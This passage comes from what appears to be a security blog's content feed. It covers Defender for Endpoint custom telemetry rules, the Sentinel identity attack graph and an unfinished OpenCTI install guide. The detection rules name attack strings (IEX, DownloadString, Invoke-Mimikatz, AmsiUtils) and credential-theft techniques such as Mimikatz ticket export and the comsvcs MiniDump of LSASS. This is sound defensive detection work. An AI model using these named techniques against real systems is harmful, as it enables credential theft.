troubleshooting. If still no data:\nVerify client version: Query DeviceInfo for your test devices needs to be 10.8805 or higher Check tag assignment: Verify the device has the dynamic tag applied Broaden your rule temporarily: Create a rule with minimal filters to see if anything flows at all Reboot a test device: Sometimes the Defender for Endpoint service needs a restart to pick up new rules Step 5: Build detections on custom tables Now that data is flowing, create an analytics rule in Sentinel to detect suspicious script content.\nCreate an analytics rule in Sentinel In the Microsoft Defender portal at security.microsoft.com Navigate to Microsoft Sentinel in the left navigation Select your workspace Go to Analytics → Create → Scheduled query rule Configure the rule General tab:\nName: Suspicious PowerShell script content detected via AMSI Severity: High MITRE ATT\u0026amp;CK: T1059.001 – PowerShell Rule logic tab:\nKQLDeviceCustomScriptEvents | where RuleName == \u0026#34;AMSI script content collection\u0026#34; | where ScriptContent has_any ( \u0026#34;IEX\u0026#34;, \u0026#34;Invoke-Expression\u0026#34;, \u0026#34;DownloadString\u0026#34;, \u0026#34;DownloadFile\u0026#34;, \u0026#34;FromBase64String\u0026#34;, \u0026#34;Invoke-Mimikatz\u0026#34;, \u0026#34;Invoke-Shellcode\u0026#34;, \u0026#34;Invoke-ReflectivePEInjection\u0026#34;, \u0026#34;AmsiUtils\u0026#34;, \u0026#34;-EncodedCommand\u0026#34;, \u0026#34;-enc \u0026#34; ) | project TimeGenerated, DeviceName, InitiatingProcessFileName, InitiatingProcessAccountName, InitiatingProcessCommandLine, ScriptContent, ScriptContentSHA256 ScriptContent contains the decoded script text captured by AMSI: what the script actually does, regardless of how it was obfuscated on the command line. ScriptContentSHA256 lets you pivot to other devices where the same script was executed, which is useful during incident response.\nRun query every: 5 minutes Lookup data from: Last 5 minutes Alert threshold: Greater than 0 Incident settings:\nEnable incident creation. Group alerts by DeviceName so multiple suspicious script executions on the same device create one incident.\nManaging rules at scale with TelemetryCollectionManager If you followed the walkthrough in Step 3, you already experienced what building a single rule in the portal feels like: click through the wizard, add filter conditions one line at a time, one value per line, no way to paste a list, no validation until you submit. For one rule that’s manageable. For ten rules across five device groups, it becomes a real operational problem.\nThere is no bulk import, no version history, no way to review what changed between last Tuesday and today, and no way to roll back a misconfigured rule without manually recreating it. If a colleague builds a rule and you need to understand what it does, you open the portal, find the rule, and click through the wizard read-only. There is no export to a readable format.\nFalconForce released TelemetryCollectionManager to solve exactly this. It is a CLI tool that lets you define rules as YAML files, validate them against the MDE schema locally, and deploy them via the Defender API. Your Git repository becomes the single source of truth: rules are reviewed before deployment, changes are tracked, and rollback is a git revert.\nBenefits:\nBenefit Description Version control Track changes, roll back mistakes Code review Review rules before deployment Bulk operations Deploy multiple rules at once Validation Catch errors before they hit production IntelliSense VSCode autocomplete with included schema Installation Download from GitHub: FalconForceTeam/TelemetryCollectionManager. Releases available for Windows, macOS, and Linux.\nAll rules in the repository are disabled by default review and enable what’s appropriate for your environment before deploying.\nBasic usage Step 1: Set up your rules directory\nrules/ ├── lsass-access.yaml ├── unsigned-dll-loads.yaml ├── non-standard-ports.yaml └── powershell-unusual-location.yaml Step 2: Validate rules locally\nBash./TelemetryCollectionManager --validate-only Step 3: Authenticate\nThe tool requires a user-based token. There is currently no support for service principals, managed identities, or app registrations. This is an API limitation on Microsoft’s side, not a tool limitation. The two options are:\nOption A: Azure CLI (recommended)\naz login # Tool automatically uses your session Option B: Manual bearer token (if Azure CLI is not an option)\nBashexport AZURE_TOKEN=\u0026#34;your-token-here\u0026#34; # Retrieve via browser developer tools: Defender portal \u0026gt; F12 \u0026gt; Network \u0026gt; filter getToken?resource=MATP Step 4: Deploy rules\nBash./TelemetryCollectionManager --post-rules Step 5: List existing rules\nBash./TelemetryCollectionManager --list-rules Step 6: Delete rules (use with care)\nBash# Delete specific rules ./TelemetryCollectionManager --delete-rules \u0026#34;rule-id-1,rule-id-2\u0026#34; # Delete ALL rules ./TelemetryCollectionManager --delete-rules=all TelemetryCollectionManager also supports converting existing portal rules to YAML, useful if you built rules in the portal before adopting the tool. Check the README for the exact flag.\nYAML schema reference Basic structure:\nYAML# yaml-language-server: $schema=../rule-schema.json name: Rule name here description: What this rule does and why enabled: true platform: Windows scope: Organization table: DeviceProcessEvents actionType: ProcessCreated filters: operator: And expressions: - filter: Equals source: FileName values: [\u0026#34;example.exe\u0026#34;] The scope field accepts Organization to deploy the rule to all applicable client devices, which is the equivalent of the “all applicable client devices” option in the portal wizard. To target a specific device group instead, replace it with the name of your dynamic tag, for example scope: CustomCollectionPilot. Static tags are not supported; if you use tag-based scoping it must be a dynamic tag configured in Asset Rule Management.\nNested logic example: PowerShell from a suspicious location, excluding a known management tool:\nYAMLfilters: operator: And expressions: - group: operator: Or expressions: - filter: Contains source: FolderPath values: [\u0026#34;\\\\temp\\\\\u0026#34;] - filter: Contains source: FolderPath values: [\u0026#34;\\\\downloads\\\\\u0026#34;] - filter: NotEquals source: InitiatingProcessFileName values: [\u0026#34;ManagementTool.exe\u0026#34;] Practical rule examples The following five rules are taken directly from the TelemetryCollectionManager repository, authored by FalconForce. All ship disabled by default which is really awesome, review and enable what fits your environment 🙂\nExample 1: lsass starting lsass An attack technique where lsass.exe forks and spawns another instance of itself, commonly used to dump credentials from memory. This process creation event is not logged by default in MDE, making it a textbook case for custom data collection. Look for InitiatingProcessParentFileName not being werfault.exe when hunting results.\nYAML# yaml-language-server: $schema=../rule-schema.json name: lsass_starting_lsass description: An attack technique where lsass.exe \u0026#39;forks\u0026#39; and spawns another instance of itself, often used to dump credentials. Look for the InitiatingParentProcessFileName not being werfault.exe. This is not logged by default in MDE. enabled: false platform: Windows scope: Organization table: DeviceProcessEvents actionType: ProcessCreated filters: operator: And expressions: - source: FileName filter: Contains values: - lsass.exe - source: InitiatingProcessFileName filter: Contains values: - lsass.exe Example 2: Executions from uncommon locations Malware staging and living-off-the-land attacks frequently execute processes from user-writable locations like temp folders, AppData, Downloads, or Desktop.\n# yaml-language-server: $schema=../rule-schema.json name: executions_from_uncommon_locations description: Processes executing from uncommon locations such as temp folders or user profile paths. MDE logs only 1 attempt per process, so this rule will show the repeated executions of the same process. enabled: false platform: Windows scope: Organization table: DeviceProcessEvents actionType: ProcessCreated filters: operator: Or expressions: - source: FolderPath filter: Contains values: - \u0026#39;C:\\PerfLogs\\\u0026#39; - \u0026#39;C:\\$Recycle.bin\\\u0026#39; - \u0026#39;C:\\Users\\Default\u0026#39; - \u0026#39;C:\\Users\\Public\\\u0026#39; - \u0026#39;\\Temp\\\u0026#39; - \u0026#39;C:\\Windows\\Prefetch\\\u0026#39; - \u0026#39;\\AppData\\Local\\\u0026#39; - \u0026#39;\\AppData\\Roaming\\\u0026#39; - \u0026#39;\\Local Settings\\Temp\\\u0026#39; - \u0026#39;\\Temporary Internet Files\\\u0026#39; - \u0026#39;C:\\Windows\\Fonts\\\u0026#39; - \u0026#39;C:\\Windows\\Media\\\u0026#39; - \u0026#39;C:\\Windows\\Help\\\u0026#39; - \u0026#39;\\htdocs\\\u0026#39; - \u0026#39;\\wwwroot\\\u0026#39; - \u0026#39;\\Downloads\\\u0026#39; - \u0026#39;\\Desktop\\\u0026#39; Example 3: .NET CLR loaded outside .NET framework folder DeviceImageLoadEvents is heavily sampled in standard MDE. Loading .NET CLR DLLs (clr.dll, clrjit.dll, mscoree.dll) from processes outside the .NET framework folder is a strong indicator of in-memory .NET assembly execution: used by Cobalt Strike, execute-assembly techniques, and similar post-exploitation frameworks. Without custom collection, these DLL loads are largely invisible.\nYAML# yaml-language-server: $schema=../rule-schema.json name: dotnet_clr_loaded description: The .NET CLR DLLs being loaded by processes outside of the .NET framework folder, which may indicate assemblyloads into injected processes. Tune based on your environment to reduce noise. enabled: false platform: Windows scope: Organization table: DeviceImageLoadEvents actionType: ImageLoaded filters: operator: And expressions: - source: FileName filter: Contains values: - clr.dll - clrjit.dll - mscoreei.dll - mscoree.dll - mscorlib.dll - mscoreeis.dll - mscorlib.ni.dll - source: InitiatingProcessFolderPath filter: NotContains values: - \u0026#39;C:\\Windows\\Microsoft.NET\\\u0026#39; Example 4: Rundll32 loading comsvcs.dll for minidump rundll32.exe loading comsvcs.dll with MiniDump in the command line is a classic post-exploitation credential dump technique. It creates a memory dump of LSASS without using dedicated tooling. Again, DeviceImageLoadEvents is where standard MDE telemetry fails; this specific DLL load pattern may never appear in standard Advanced Hunting.\nYAML# yaml-language-server: $schema=../rule-schema.json name: rundll32_minidump description: Rundll32 loading comsvcs.dll to create a minidump, often used in post-exploitation activity. enabled: false platform: Windows scope: Organization table: DeviceImageLoadEvents actionType: ImageLoaded filters: operator: And expressions: - source: FileName filter: Contains values: - comsvcs.dll - source: InitiatingProcessFileName filter: Equals values: - rundll32.exe - source: InitiatingProcessCommandLine filter: Contains values: - MiniDump Example 5: Kirbi file creation .kirbi files are Kerberos ticket files created by Mimikatz during credential theft operations (sekurlsa::tickets /export or kerberos::list /export). Their presence on disk is essentially unambiguous. There is no legitimate reason for .kirbi files to be created in normal operations.\nYAML# yaml-language-server: $schema=../rule-schema.json name: kirbi_file_creation description: Kirbi file creation detection, often used by Mimikatz for credential dumping. enabled: true platform: Windows scope: Organization table: DeviceFileEvents actionType: FileCreated filters: operator: Or expressions: - source: FolderPath filter: EndsWith values: - .kirbi See the rest of the rules here\nUnderstanding the costs What’s included vs extra Component Cost Custom data collection feature Included with Defender for Endpoint P2 Data ingestion to Sentinel Charged per GB Sentinel pricing (approximate, varies by region) Tier Price per GB Pay-as-you-go ~€4.30–5.20 100 GB/day commitment ~€3.40 effective 500 GB/day commitment ~€2.96 effective Always verify current pricing at aka.ms/sentinelpricing these figures shift with regional pricing updates.\nCost calculation example Factor Value Endpoints 1,000 devices Events per device/day 500 average Event size ~2 KB each Daily volume 1,000 × 500 × 2 KB = 1 GB/day Monthly cost (PAYG) 30 × €5 = ~€150/month That’s manageable. The risk is broad rules:\nScenario Daily volume Monthly cost Targeted rules (500 events/device) 1 GB ~€150 Moderate rules (2,000 events/device) 4 GB ~€600 Broad rules (10,000 events/device) 20 GB ~€3,000 Cost optimization tips Start narrow begin with specific filters, expand only if needed Scope to device groups don’t collect from every device if not necessary Monitor ingestion: use Sentinel’s Usage workbook regularly Remove unused rules if nobody queries the data, delete the rule Consider commitment tiers if collecting \u0026gt;100 GB/day, commit for savings Custom data collection vs Sysmon For years, Sysmon has been the go-to solution for filling MDE’s telemetry gaps. When MDE didn’t give you DLL loads, you added Sysmon. When you needed registry events for persistence detection, Sysmon. Named pipes, driver loads, WMI events: Sysmon covered what MDE didn’t. The trade-off was always the operational overhead: a separate agent to deploy, a separate XML configuration to maintain, a separate data schema to write detections against, and a log collection agent on top of that to get the events into Sentinel.\nCustom data collection changes that trade-off significantly. Process, file, network, and image load events now have a native MDE solution that uses the same schema you already query in Advanced Hunting, deploys without an additional agent, and integrates directly with Sentinel. For many organizations, this is enough to remove Sysmon entirely or at least substantially reduce its scope.\nHonestly, you probably still need both.\nComparison Aspect Custom data collection Sysmon Deployment Built into Defender for Endpoint Separate agent + config Management Portal or API XML files Data schema MDE tables Sysmon events Process events ✅ ✅ File events ✅ ✅ Network events ✅ ✅ Image/DLL loads ✅ ✅ Registry events ❌ ✅ Named pipes ❌ ✅ Driver loads ❌ ✅ WMI events ❌ ✅ Recommendation Use a hybrid approach:\nCustom data collection for process, file, network, and DLL events where you need complete visibility Sysmon slimmed down to registry, pipe, and driver events only This reduces Sysmon’s footprint while maintaining visibility that custom data collection can’t provide.\nAlternative for DLL loads only:\nIf you only need reliable DLL load telemetry without the full custom data collection setup, consider WDACme a WDAC audit-mode policy that generates CodeIntegrity events for specified DLLs in the DeviceEvents table. That said, custom data collection is more flexible and easier to manage at scale.\nTroubleshooting common issues No events appearing Check Solution Time elapsed Wait at least 1 hour after rule creation Client version Must be 10.8805+ check DeviceInfo table Rule enabled Verify rule shows “Enabled” in portal Device in scope Verify device has the dynamic tag applied Filters too narrow Test with a broader rule temporarily Custom collection not initializing Check for EDR exclusions on target paths or processes; reboot the device if collection isn’t starting Hitting the 75,000 event cap Your rule is too broad. Solutions:\nAdd more specific filters Scope to fewer devices Split into multiple targeted rules Events in wrong table Custom data collection uses DeviceCustom* tables, not standard Device* tables:\n// Wrong - standard table DeviceProcessEvents | where ... // Right - custom table DeviceCustomProcessEvents | where ... Rule not deploying to device Verify device meets OS and client version prerequisites If using dynamic tags, verify the tag is applied to the device and the tag rule has run in Asset Rule Management Try rebooting the device Useful diagnostic query KQLsearch in (DeviceCustomProcessEvents, DeviceCustomNetworkEvents, DeviceCustomFileEvents, DeviceCustomImageLoadEvents, DeviceCustomScriptEvents) * | where DeviceId == \u0026#34;your-device-id\u0026#34; | where TimeGenerated \u0026gt; ago(24h) | summarize EventCount = count() by RuleName, $table | order by EventCount desc References Microsoft Learn: Custom data collection in Defender for Endpoint Microsoft Learn: Create custom data collection rules FalconForce: MDE Internals 0x06 – Custom Collection FalconForce: MDE Internals 0x03 – Telemetry Unreliability FalconForce: MDE Internals 0x01 – Sysmon vs MDE GitHub: FalconForce TelemetryCollectionManager GitHub: WDACme – DLL load telemetry workaround Microsoft Sentinel pricing Configure dynamic rules for devices Conclusion Custom data collection fills a real gap that detection engineers working with Defender for Endpoint have dealt with for years. The event capping in standard telemetry isn’t going away it’s a structural trade-off in how MDE is priced and operated. This feature gives you a legitimate, supported path to collect the specific events you actually need, without bolting on another agent or working around the schema.\nThat said, it’s not a fire-and-forget feature. Every rule you create is an ongoing cost, and broad rules will surface that cost quickly. The organizations that get the most value from this are the ones that start from a concrete detection gap a technique they couldn’t detect reliably, a table they knew was being sampled and work backwards to the minimum rule that closes it.\nThe hybrid approach with Sysmon still makes sense for most environments. Custom data collection covers process, file, network, and DLL events well. Sysmon still wins on registry, pipes, and driver loads. Using both, scoped appropriately, gives you more complete coverage than either alone.\n","date":"25 May 2026","externalUrl":null,"permalink":"/defender-for-endpoint-custom-data-collection/","section":"All articles","summary":"","title":"Microsoft Defender for Endpoint custom data collection: get the telemetry you need","type":"posts"},{"content":"","date":"9 May 2026","externalUrl":null,"permalink":"/identity/","section":"All topics","summary":"","title":"Identity","type":"categories"},{"content":"Sentinel graph ships with two layers. One is custom graphs, where you build your own schema from any data in the lake, which I will cover in a new blog post later. The other is a set of Microsoft-managed graphs that require no authoring at all.\nThe identity attack graph is the most useful of those managed graphs. Enable two connectors, turn on the graph, wait for the initial build, and you have a query-able model of how identities in your tenant connect to Azure resources through permissions and group memberships. No notebooks, no schema design, no GQL to write upfront.\nThe graph is currently in preview\nWhat it shows you The identity attack graph models three things: identities (users, service principals, managed identities, groups), Azure resources (subscriptions, resource groups, VMs, storage accounts, Key Vaults), and the access relationships connecting them via role assignments and group memberships.\nThe focus is lateral movement paths, not just direct access. A user who is a member of a group that has a role assignment on a subscription containing a Key Vault is three hops from that Key Vault. That chain doesn’t appear in a flat permissions table. It appears in a graph because each of those relationships is modelled as an edge you can traverse.\nIt’s built to answer questions like:\nWhat resources could an attacker reach if this account is compromised? Which identities have indirect paths to privileged roles? Which service principals can reach VMs, and via how many hops? Are there circular group memberships creating unintended privilege inheritance? The predefined queries surface these without any GQL knowledge required. You can also write your own once you’re familiar with the schema.\nPrerequisites Requirement Details Microsoft Sentinel data lake Must be enabled. The identity attack graph reads from the data lake tier and won’t work without it. Microsoft Entra ID Assets connector Required. Provides identity data: users, groups, service principals, managed identities, and the relationships between them. Azure Resource Graph connector Required. Provides Azure subscription and resource hierarchy. Role to create the graph Global Administrator or Security Administrator. Both connectors are bundled in their respective Sentinel solution packages. If not yet installed, find them in Content Hub under Microsoft Sentinel \u0026gt; Content Management \u0026gt; Content Hub.\nAsset data snapshots are taken once every 24 hours. After enabling a connector, data can take up to 24 hours to arrive in the lake. Initial graph processing after that can take up to 48 hours. Enable this well before you need it for an investigation.\nOne thing most guides don’t mention: ARG connector coverage The Azure Resource Graph connector has a coverage limitation worth understanding before you enable it.\nWhen enabled, its managed identity is automatically granted the Reader role only on subscriptions where you have the Owner role. If you don’t have Owner across your entire Azure estate (most people don’t), the connector ingests a partial view. The graph gets built, but it won’t include resources from subscriptions the managed identity can’t read.\nIn my case I had the owner permissions and the identity was correctly setup:\nTo get full tenant coverage, someone with elevated permissions needs to assign the Reader role to the connector’s managed identity at a broader scope if it failed. The managed identity is named msg-resources- followed by an alphanumeric ID, for example msg-resources-b05e. Reader can be assigned at:\nTenant root management group covers all subscriptions in the tenant A specific management group covers a subset Individual subscriptions covers only those Steps to assign:\nNavigate to the scope you want to cover, for example Tenant Root Group \u0026gt; Access control (IAM)\nSelect + Add \u0026gt; Add role assignment\nAssign the Reader role to the managed identity\nLocate the msg-resources-* managed identity and complete the assignment\nAfter the assignment propagates, the next ingestion cycle picks up the additional resources. Up to 24 hours for the new data to appear in the lake.\nIf your graph is missing subscriptions or resources you’d expect to find, this is almost certainly the reason.\nSetting up the identity attack graph Step 1: Navigate to Graphs In the Microsoft Defender portal, go to Microsoft Sentinel \u0026gt; Graphs.\nStep 2: Set up the graph Find the identity attack graph card and select Set up graph.\nStep 3: Enable the required connectors The setup flow walks you through both connectors:\nMicrosoft Entra ID Assets covers identity data, group memberships, and service principals Azure Resource Graph covers Azure subscriptions and resource hierarchy If either is not yet installed, go to Content Hub first and install the relevant solution. Already installed but not enabled, the setup flow will prompt you to turn them on.\nThis is also the point to think about ARG connector coverage. If full tenant coverage matters for your use case, sort out the managed identity Reader assignment before continuing.\nStep 4: Turn on the graph Select Turn on graph. The graph starts ingesting data and building its relationship model.\nInitial processing can take up to 48 hours. The graph is not query-able until the first build completes.\nStep 5: Open the query interface When the graph shows as ready, select Query graph on the identity attack graph tile.\nQuerying the identity attack graph Step 6: Review the schema Before running anything, open the Schema tab.\nThe schema defines what you can match in GQL. Node types include Entra users, groups, service principals, managed identities, Azure subscriptions, resource groups, VMs, storage accounts, and Key Vaults. Edge types include group memberships and role assignments. Checking the schema before writing queries saves time.\nWorth being explicit: the query language here is GQL (Graph Query Language), not KQL. The syntax looks familiar in places but the logic is different. GQL uses MATCH (x)-[y]-\u0026gt;(z) patterns to traverse relationships. You follow edges between nodes rather than joining rows. The predefined queries are a good way to see what working GQL looks like before writing your own.\nStep 7: Start with the predefined queries Start with the predefined queries before writing custom GQL. They cover the most useful scenarios and show you the query structure.\nQuery What it surfaces Visualize any graph All nodes and edges, good starting point for exploration Map Azure management structure Subscription, resource group, and resource hierarchy Identity attack paths: Entra users to Azure Key Vaults Users with direct or indirect Key Vault access Identity attack paths: service principals to virtual machines Service principals that can reach VMs Identity attack paths to Azure subscriptions Identities with paths to subscription-level access Identity attack paths to privileged roles Identities that can reach privileged directory roles Entra group memberships: detect circular relationships Groups that form circular membership chains Select Edit query on any of these to copy the GQL into the editor, then adjust filters, change the target node type, or add conditions for your specific investigation.\nStep 8: Run and explore Select Run GQL query. Results render as an interactive graph (in this case I used the Visualize any graph as base):\nFrom here:\nSelect any node to open the details pane with account status, department, role assignments, and last password change Right-click a node and select Explore connected assets to traverse one hop further without a new query Switch to Table view to see results in rows and export to CSV Hover over a node to highlight its direct connections and mute everything else Use the filters in the top right of the canvas to narrow by node type or edge relationship What to look for Short paths to privileged roles. The fewer hops between an identity and a privileged directory role, the more exposed you are. An identity two hops from Global Administrator via a nested group chain and a role assignment is a different risk profile than one eight hops away.\nService principals with unexpected resource access. Service principals reaching VMs or Key Vaults via indirect role assignments, through inherited group memberships or role assignments higher up the subscription hierarchy, often come from earlier deployments that were never cleaned up.\nCircular group memberships. These create privilege inheritance chains that are invisible from the portal’s flat group membership view. The graph shows them immediately as cycles.\nIdentities whose access exceeds their apparent role. Someone in a non-privileged department with indirect access to production Key Vaults via three layers of group nesting. Not malicious activity, just environment drift. The graph surfaces it; the follow-up is a permissions review.\nBilling and data retention The identity attack graph is billed under the Sentinel graph meter. Two cost elements to know about:\nAsset data ingestion: charges apply for ingesting data through the Entra ID Assets and Azure Resource Graph connectors Asset data retention: default retention is 30 days, expandable up to 12 years, and you pay for whatever period you configure Check the Sentinel pricing page for current rates on the graph meter and asset ingestion.\nLimitations Up to 48 hours for initial build: The graph is not queryable during this window. ARG connector ingests partial coverage by default: Only subscriptions where the enabling user has Owner. Expand manually for full tenant coverage (see the ARG section above). Schema is Microsoft-managed: You can query what’s there but cannot add custom node or edge types. Asset data refreshes once every 24 hours: The graph is a point-in-time snapshot. Recent permission changes may not appear until the next ingestion cycle. Preview: Functionality and query behavior are subject to change before GA. Resources What is the identity attack graph? (preview) Asset data ingestion in the Microsoft Sentinel data lake What is Microsoft Sentinel graph? Visualize graphs in Microsoft Sentinel (preview) GQL reference for Sentinel custom graph Closing I find these graphs a pleasant way to investigate identity risk. No query to write, no schema to design. Just enable, wait, and start exploring paths you didn’t know existed. What I appreciate most is that the predefined queries do the heavy lifting. You don’t need to know what you’re looking for; the graph shows you anyway.\nWhat would make this even more powerful is the ability to take action directly based on what you find: trigger a remediation, flag a path for review, kick off a Conditional Access change. That’s the natural next step and I hope Microsoft moves in that direction.\nCurious to see which managed graphs Microsoft ships next. The identity attack graph is clearly the first of several and the foundation is solid. I’ll might cover here more as they become available.\n","date":"9 May 2026","externalUrl":null,"permalink":"/microsoft-sentinel-identity-attack-graph/","section":"All articles","summary":"","title":"Identity attack graph in Microsoft Sentinel: easy find lateral movement paths","type":"posts"},{"content":"","date":"9 May 2026","externalUrl":null,"permalink":"/microsoft-entra-id-azure-ad/","section":"All topics","summary":"","title":"Microsoft Entra ID (Azure AD)","type":"categories"},{"content":"For the past few years, MISP has been my go-to for threat intelligence. It’s open source, flexible, and does exactly what it says on the tin. But MISP is also showing its age in some areas: the interface is not the most intuitive, and wiring it into a modern SOC stack takes a fair amount of glue code. So when I kept seeing OpenCTI come up, I figured it was time to actually spin it up and see what the fuss was about.\nOpenCTI is developed by the French company Filigran and is built around the STIX 2.1 data model from the ground up. Where MISP started as an event-sharing platform and grew into something more, OpenCTI was designed from day one as a structured threat intelligence platform: with native support for threat actors, campaigns, TTPs, and kill chains. It is gaining serious ground in the threat intelligence space, and for good reason.\nIn this post I’ll walk through the full process: installing OpenCTI on a clean Ubuntu server, adding free threat intelligence feeds and then wiring it up to Microsoft Sentinel so your IOCs automatically flow into your SIEM and become usable in analytics rules.\nWhat is OpenCTI and why does it matter? OpenCTI is an open-source threat intelligence platform that lets you store, organize, visualize, and share knowledge about cyber threats. It uses the STIX 2.1 standard for data representation, which means everything is structured and consistent: threat actors, malware families, attack patterns, indicators, observables, relationships, all connected.\nThe key difference from MISP is depth of context. In MISP you work with events and attributes. In OpenCTI you work with entities and relationships: a SHA-256 hash is connected to a malware family, which is connected to a threat actor, which maps to MITRE ATT\u0026amp;CK techniques. You can visually navigate that graph and understand the full picture around a single IOC.\nFor an MDR context, this is where OpenCTI starts to shine. When an alert fires in Sentinel and you’re looking at a malicious domain, being able to pull up OpenCTI and immediately see which campaigns have used that domain, which malware family dropped it, and what the associated ATT\u0026amp;CK technique is. That’s real context, not just a score.\nMicrosoft Sentinel ships with built-in threat intelligence, but in my experience it is always worth layering additional sources on top, especially when you want coverage beyond what Microsoft’s feeds provide.\nArchitecture overview This post covers the setup and configuration only, not a deep dive into how to use OpenCTI as a platform. Before we dive in, here is what we are building:\nOpenCTI runs on Ubuntu via Docker Compose in my demo (for production environments look into splitting resources/roles and use K8s). Threat intel connectors pull data from external sources on a schedule. A Live Stream connector pushes indicators to Microsoft Sentinel in real time using the Graph API tiIndicators endpoint. Sentinel analytics rules then match those indicators against ingested logs.\nPart 1: Installing OpenCTI System requirements Resource Minimum Recommended Ubuntu 22.04 LTS 24.04 LTS CPU 4 vCPU 8+ vCPU RAM 8 GB 16 GB Disk 50 GB 100+ GB SSD RAM note: Elasticsearch is the main memory consumer. On an 8 GB server you’ll feel the pressure during the initial sync of all connectors simultaneously. 16 GB is strongly recommended for a production deployment.\nInstall Docker OpenCTI’s official deployment method is Docker Compose. All dependencies, Elasticsearch, Redis, RabbitMQ, MinIO, run as containers. But again: for production environments cluster all your servers and infrastructure 🙂\nBash# Remove legacy Docker packages sudo apt remove docker.io docker-compose docker-compose-v2 \\ docker-doc podman-docker containerd runc 2\u0026gt;/dev/null || true sudo apt update sudo apt install -y ca-certificates curl # Add Docker\u0026#39;s official GPG key sudo install -m 0755 -d /etc/apt/keyrings sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg \\ -o /etc/apt/keyrings/docker.asc sudo chmod a+r /etc/apt/keyrings/docker.asc # Add Docker repository sudo tee /etc/apt/sources.list.d/docker.sources \u0026lt;\u0026lt;EOF Types: deb URIs: https://download.docker.com/linux/ubuntu Suites: $(. /etc/os-release \u0026amp;\u0026amp; echo \u0026#34;${UBUNTU_CODENAME:-$VERSION_CODENAME}\u0026#34;) Components: stable Signed-By: /etc/apt/keyrings/docker.asc EOF sudo apt update sudo apt install -y docker-ce docker-ce-cli containerd.io \\ docker-buildx-plugin docker-compose-plugin # Run Docker without sudo sudo usermod -aG docker $USER newgrp docker Set vm.max_map_count Elasticsearch needs this or it will crash on startup. Do not skip this step.\nBashsudo sysctl -w vm.max_map_count=1048575 echo \u0026#39;vm.max_map_count=1048575\u0026#39; | sudo tee -a /etc/sysctl.conf Clone the OpenCTI Docker repository Bashgit clone https://github.com/OpenCTI-Platform/docker.git /opt/opencti cd /opt/opencti Configure .env Generate the values you’ll need:\n# UUIDs cat /proc/sys/kernel/random/uuid # Encryption key (base64) openssl rand -base64 32 # Strong password openssl rand -base64 18 | tr -d \u0026#39;/+=\u0026#39; | cut -c1-20 Create /opt/opencti/.env:\n########################### # DEPENDENCIES # ########################### MINIO_ROOT_USER=opencti MINIO_ROOT_PASSWORD=YourStrongPassword RABBITMQ_DEFAULT_USER=opencti RABBITMQ_DEFAULT_PASS=YourStrongPassword SMTP_HOSTNAME=localhost OPENSEARCH_ADMIN_PASSWORD=YourStrongPassword ELASTIC_MEMORY_SIZE=4G ########################### # COMMON # ########################### XTM_COMPOSER_ID=8215614c-7139-422e-b825-b20fd2a13a23 COMPOSE_PROJECT_NAME=xtm ########################### # OPENCTI # ########################### OPENCTI_HOST=opencti.yourdomain.com OPENCTI_PORT=8080 OPENCTI_EXTERNAL_SCHEME=https OPENCTI_ADMIN_EMAIL=admin@yourdomain.com OPENCTI_ADMIN_PASSWORD=YourAdminPassword OPENCTI_ADMIN_TOKEN=\u0026lt;uuid\u0026gt; OPENCTI_HEALTHCHECK_ACCESS_KEY=\u0026lt;random-string\u0026gt; OPENCTI_ENCRYPTION_KEY=\u0026lt;base64-32-bytes\u0026gt; ########################### # OPENCTI CONNECTORS # ########################### CONNECTOR_EXPORT_FILE_STIX_ID=dd817c8b-abae-460a-9ebc-97b1551e70e6 CONNECTOR_EXPORT_FILE_CSV_ID=7ba187fb-fde8-4063-92b5-c3da34060dd7 CONNECTOR_EXPORT_FILE_TXT_ID=ca715d9c-bd64-4351-91db-33a8d728a58b CONNECTOR_IMPORT_FILE_STIX_ID=72327164-0b35-482b-b5d6-a5a3f76b845f CONNECTOR_IMPORT_DOCUMENT_ID=c3970f8a-ce4b-4497-a381-20b7256f56f0 CONNECTOR_IMPORT_FILE_YARA_ID=7eb45b60-069b-4f7f-83a2-df4d6891d5ec CONNECTOR_IMPORT_EXTERNAL_REFERENCE_ID=d52dcbc8-fa06-42c7-bbc2-044948c87024 CONNECTOR_ANALYSIS_ID=4dffd77c-ec11-4abe-bca7-fd997f79fa36 ########################### # OPENCTI DEFAULT DATA # ########################### CONNECTOR_OPENCTI_ID=dd010812-9027-4726-bf7b-4936979955ae CONNECTOR_MITRE_ID=8307ea1e-9356-408c-a510-2d7f8b28a0e2 ELASTIC_MEMORY_SIZE: Set to roughly 50% of your total RAM. On 8 GB set 2G, on 16 GB set 6G.\nFix docker-compose.yml The default docker-compose.yml needs three corrections before you start.\nFix 1: Bind OpenCTI to localhost:\nFind the opencti service ports section and change:\n# Before ports: - \u0026#34;${OPENCTI_PORT}:8080\u0026#34; # After ports: - \u0026#34;127.0.0.1:8080:8080\u0026#34; Fix 2: Bind MinIO to localhost:\nFind the minio service ports section and change:\n# Before ports: - \u0026#34;9000:9000\u0026#34; # After ports: - \u0026#34;127.0.0.1:9000:9000\u0026#34; Fix 3: Remove port from APP__BASE_URL:\nFind the opencti service environment and change:\n# Before - APP__BASE_URL=${OPENCTI_EXTERNAL_SCHEME}://${OPENCTI_HOST}:${OPENCTI_PORT} # After - APP__BASE_URL=${OPENCTI_EXTERNAL_SCHEME}://${OPENCTI_HOST} Without this fix, every link inside OpenCTI will have :8080 appended, which breaks navigation when you access it through nginx on port 443.\nInstall and configure nginx Bashsudo apt install -y nginx sudo systemctl enable nginx Create /etc/nginx/sites-available/opencti:\nserver { listen 80; server_name opencti.yourdomain.com; return 301 https://$host$request_uri; } server { listen 443 ssl; server_name opencti.yourdomain.com; ssl_certificate /etc/ssl/opencti/origin.crt; ssl_certificate_key /etc/ssl/opencti/origin.key; ssl_protocols TLSv1.2 TLSv1.3; ssl_ciphers HIGH:!aNULL:!MD5; ssl_prefer_server_ciphers on; location / { proxy_pass http://127.0.0.1:8080; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; # WebSocket support - required by OpenCTI proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_read_timeout 3600s; proxy_send_timeout 3600s; } } WebSocket support is mandatory. OpenCTI uses WebSockets for live UI updates. Without the Upgrade headers, the interface will partially break.\nEnable and start:\nBashsudo ln -s /etc/nginx/sites-available/opencti /etc/nginx/sites-enabled/ sudo nginx -t sudo systemctl start nginx Configure SSL I’m using Cloudflare for SSL all the way, you can also use LetsEncrypt (bot) to generate SSL certificates. After you obtained a certificate and 